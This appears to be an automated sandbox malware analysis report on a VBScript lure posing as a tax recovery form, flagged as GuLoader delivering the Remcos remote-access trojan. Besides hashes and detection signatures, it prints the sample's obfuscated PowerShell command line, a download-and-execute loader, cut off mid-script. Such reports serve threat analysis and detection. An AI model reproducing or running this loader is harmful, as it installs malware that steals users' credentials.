Edit tour
Windows
Analysis Report
Custom Export Tax Recovery Form.vbs
Overview
General Information
| Sample name: | Custom Export Tax Recovery Form.vbs |
| Analysis ID: | 1533044 |
| MD5: | 36ffacaa0e821c2912bed0735361e00a |
| SHA1: | c079a264f1b14321464ebe3d4d623768432f0b22 |
| SHA256: | 35950af50b6f5b0a6d108fbac7d8e4dedc6b09b07b4a79c1daa77486254bd7c4 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Multi AV Scanner detection for domain / URL
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
wscript.exe (PID: 1764 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Custo m Export T ax Recover y Form.vbs " MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 1908 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Offent lighedslov givninger Raakremers Miljforst yrrelserne Daarligst Coniferou s #>;$sels ret='Valge ts';<#Glat tede Micro scopal Jor dvarmeanlg gets Confi rmatory On erative Rh eobase #>; $Dks=$Leum a+$host.UI ;If ($Dks) {$syltetj skrukke++; }function Capulet43( $Blimpishl y){$Unvomi tedneffici encies=$Be rendo+$Bli mpishly.'L ength'-$sy ltetjskruk ke; for( $ Unvomited= 3;$Unvomit ed -lt $Un vomitednef ficiencies ;$Unvomite d+=4){$Myt hol++;$Ove rpositiven ess+=$Blim pishly[$Un vomited];$ Fatalismen s='Usurpti on';}$Over positivene ss;}functi on Donough t($Folkesk olerne){ & ($afire) ($Folkesko lerne);}$P restigious ly100=Capu let43 'Blo MCheo rz d ei MulDerl svia En/Re t ';$Prest igiously10 0+=Capulet 43 'Ca 5Ka e. Mo0sk I ,d(D pWGa. isvune.edB odoOpdwCon sCre Ph,N K.T ac b m 1Nob0Fol. ,a0di ;Met RbdW ,ai, tin.or6 No 4Bou;Tr, T ex .a6N t4 Un;Ret sp .rCouvF l: No,1In 3 M i1Eld.Par0 Al.)Tur Ge rGMyresrnc Assk Bro D e/B g2Tat0 B r1Bro0 s 0P.r1Rev0 Unm1.ro Or rFGl iBegr Que.rofOr io Opxmav/ T,r1Kin3U e1 sk.Mic0 Jos ';$Ext rality=Cap ulet43 ' y guseksDefe fi R Af-Am ,AOpsgTrve traNTret . n ';$Dolkh alerne=Cap ulet43 'Na ph HatLvht PropFu.:Be f/Ter/Gysl semnFem6Bo kbEl,9sub. Unes UnhVe oegap os/ RalaQuimre cy.edkD.th sukRL ec B iMRet/ FlR ReeDigdst eoZn b rel seliConn,i ngPhi.Fo p Prissbed , o ';$Unvom itednddeli ngens=Capu let43 'P.a > si ';$af ire=Capule t43 'BilIE upEsp XE,t ';$Cerati tidae='gol dsmithing' ;$Udskrivn ingsprogra mmets='\En spnderen.r ep';Donoug ht (Capule t43 'sun$G raG ,oLHen OTomB ekaA rL Uf: ,a MR,sEDiadE nsIBlgCC l iBioN LnE, ar=Ple$P g eWo,nYv vn av:s cAUds pHiePBesDM isAEuttsma A T,+Eph$F a URygdPie s.ymK laR GliBayvLis nAzoI KoNs krg RisRdl psalRRygoD sG E R .y A ChmlapMM ule .rTMo s la ');Do nought (Ca pulet43 's pi$UdmgCri lManO urBI m.a lmL Fo :Park WoOM e nInsssv oFolL siiE ksdT aEFil r iqIMurnc .aGC,s=Eja $DegD Beos .plslaksar HOstaParLT ile U Rfir Nspje Fu. issLizPUnp lPeriK fTM ul( y$ PoU ArbN unvBu ro,remsayi FletB,lEOs DB nn Red sotDGr.Esi mLBeniOveN Fi gProE N onNevsBge) Red ');Don ought (Cap ulet43 'Cy k[L,nnHypE RenT od. s sF.nECauR LynvDatIMa cMulescep jaoProI s pnNontTemM Hj AImpn.v eACapgTacE EquR Re]De :,mp:Ra,s M seModc e nUVinrD ci C ltAmpyGr ipGriRRoro HetHanO H C B ORe l .og En =r r pit[Inan isE NoTsk ..AutsNatE Fl c R U D RTraI.abT esYM.gP n rM no agT e OObdC ys oF iLBrst say,aspAde eUbe]Gro:s em:Ka tsp Ls isPou1 La2 a ');$ Dolkhalern e=$Konsoli dering[0]; $skovskade ns177=(Cap ulet43 ' s t$TilgP sl Ha Om sbI. da P LR v: aFMu.ONon d BafLansN nT,ndEHyp RkonNAftE elss a= Hv nHocE OswF ib-sa,oshi Bsubj CrER